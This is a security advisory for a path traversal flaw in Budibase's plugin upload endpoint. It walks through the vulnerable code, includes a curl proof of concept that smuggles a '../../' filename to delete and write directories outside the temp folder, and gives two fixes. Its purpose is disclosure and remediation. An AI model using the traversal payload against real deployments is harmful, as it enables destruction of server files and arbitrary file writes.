The plugin file upload endpoint (POST /api/plugin/upload) passes the user-supplied filename directly to createTempFolder() without sanitizing path traversal sequences. An attacker with Global Builder privileges can craft a multipart upload with a filename containing ../ to delete arbitrary directories via rmSync and write arbitrary files via tarball extraction to any filesystem path the Node.js process can access.
GLOBAL_BUILDER permission)Despite the real filesystem impact, severity is bounded by the requirement for Global Builder privileges (PR:H), which is the highest non-admin role in Budibase. In self-hosted deployments the Global Builder may already have server access, further reducing practical impact. In cloud/multi-tenant deployments the impact is more significant as it could affect the host infrastructure.
packages/server/src/api/controllers/plugin/file.ts — fileUpload() (line 15)packages/server/src/utilities/fileSystem/filesystem.ts — createTempFolder() (lines 78-91)In packages/server/src/api/controllers/plugin/file.ts, the uploaded file's name is used directly after stripping the .tar.gz suffix:
// packages/server/src/api/controllers/plugin/file.ts:8-19
export async function fileUpload(file: KoaFile) {
if (!file.name || !file.path) {
throw new Error("File is not valid - cannot upload.")
}
if (!file.name.endsWith(".tar.gz")) {
throw new Error("Plugin must be compressed into a gzipped tarball.")
}
const path = createTempFolder(file.name.split(".tar.gz")[0])
await extractTarball(file.path, path)
return await getPluginMetadata(path)
}
The file.name originates from the Content-Disposition header's filename field in the multipart upload, parsed by formidable (via koa-body 4.2.0). Formidable does not sanitize path traversal sequences from filenames.
The createTempFolder function in packages/server/src/utilities/fileSystem/filesystem.ts uses path.join() which resolves ../ sequences, then performs destructive filesystem operations:
// packages/server/src/utilities/fileSystem/filesystem.ts:78-91
export const createTempFolder = (item: string) => {
const path = join(budibaseTempDir(), item)
try {
// remove old tmp directories automatically - don't combine
if (fs.existsSync(path)) {
fs.rmSync(path, { recursive: true, force: true })
}
fs.mkdirSync(path)
} catch (err: any) {
throw new Error(`Path cannot be created: ${err.message}`)
}
return path
}
The budibaseTempDir() returns /tmp/.budibase (from packages/backend-core/src/objectStore/utils.ts:33). With a filename like ../../etc/target.tar.gz, path.join("/tmp/.budibase", "../../etc/target") resolves to /etc/target.
The codebase is aware of the risk in similar paths:
Safe path in utils.ts: The downloadUnzipTarball function (for NPM/GitHub/URL plugin sources) generates a random name server-side:
// packages/server/src/api/controllers/plugin/index.ts:68
const name = "PLUGIN_" + Math.floor(100000 + Math.random() * 900000)
This is safe because name never contains user input.
Safe path in objectStore.ts: Other uses of budibaseTempDir() use UUID-generated names:
// packages/backend-core/src/objectStore/objectStore.ts:546
const outputPath = join(budibaseTempDir(), v4())
Sanitization exists but is not applied: The codebase has sanitizeKey() in objectStore.ts for sanitizing object store paths, but no equivalent is applied to createTempFolder's input.
The file upload path is the only caller of createTempFolder that passes unsanitized user input.
POST /api/plugin/upload with a multipart file whose Content-Disposition filename contains path traversal (e.g., ../../etc/target.tar.gz)file.name to the raw filename from the headercontroller.upload → sdk.plugins.processUploaded() → fileUpload(file).endsWith(".tar.gz") check passes (the suffix is present).split(".tar.gz")[0] extracts ../../etc/targetcreateTempFolder("../../etc/target") is calledpath.join("/tmp/.budibase", "../../etc/target") resolves to /etc/targetfs.rmSync("/etc/target", { recursive: true, force: true }) — deletes the target directory recursivelyfs.mkdirSync("/etc/target") — creates a directory at the traversed pathextractTarball(file.path, "/etc/target") — extracts attacker-controlled tarball contents to the traversed path# Create a minimal tarball with a test file
mkdir -p /tmp/plugin-poc && echo "pwned" > /tmp/plugin-poc/test.txt
tar czf /tmp/poc-plugin.tar.gz -C /tmp/plugin-poc .
# Upload with a traversal filename targeting /tmp/pwned (non-destructive demo)
curl -X POST 'http://localhost:10000/api/plugin/upload' \
-H 'Cookie: <global_builder_session_cookie>' \
-F "file=@/tmp/poc-plugin.tar.gz;filename=../../tmp/pwned.tar.gz"
# Result: server executes:
# rm -rf /tmp/pwned (if exists)
# mkdir /tmp/pwned
# tar xzf <upload> -C /tmp/pwned
# Verify: ls /tmp/pwned/test.txt
rmSync with { recursive: true, force: true } deletes any directory the Node.js process can access, including application data directoriescreateTempFolder (preferred — protects all callers)import { join, resolve } from "path"
export const createTempFolder = (item: string) => {
const tempDir = budibaseTempDir()
const resolved = resolve(tempDir, item)
// Ensure the resolved path is within the temp directory
if (!resolved.startsWith(tempDir + "/") && resolved !== tempDir) {
throw new Error("Invalid path: directory traversal detected")
}
try {
if (fs.existsSync(resolved)) {
fs.rmSync(resolved, { recursive: true, force: true })
}
fs.mkdirSync(resolved)
} catch (err: any) {
throw new Error(`Path cannot be created: ${err.message}`)
}
return resolved
}
Strip path components from the filename before use:
import path from "path"
export async function fileUpload(file: KoaFile) {
if (!file.name || !file.path) {
throw new Error("File is not valid - cannot upload.")
}
if (!file.name.endsWith(".tar.gz")) {
throw new Error("Plugin must be compressed into a gzipped tarball.")
}
// Strip directory components from the filename
const safeName = path.basename(file.name).split(".tar.gz")[0]
const dir = createTempFolder(safeName)
await extractTarball(file.path, dir)
return await getPluginMetadata(dir)
}
Both options should ideally be applied together for defense-in-depth.
This vulnerability was discovered and reported by bugbunny.ai.
{
"cwe_ids": [
"CWE-22"
],
"nvd_published_at": "2026-04-03T16:16:41Z",
"severity": "HIGH",
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T06:04:19Z"
}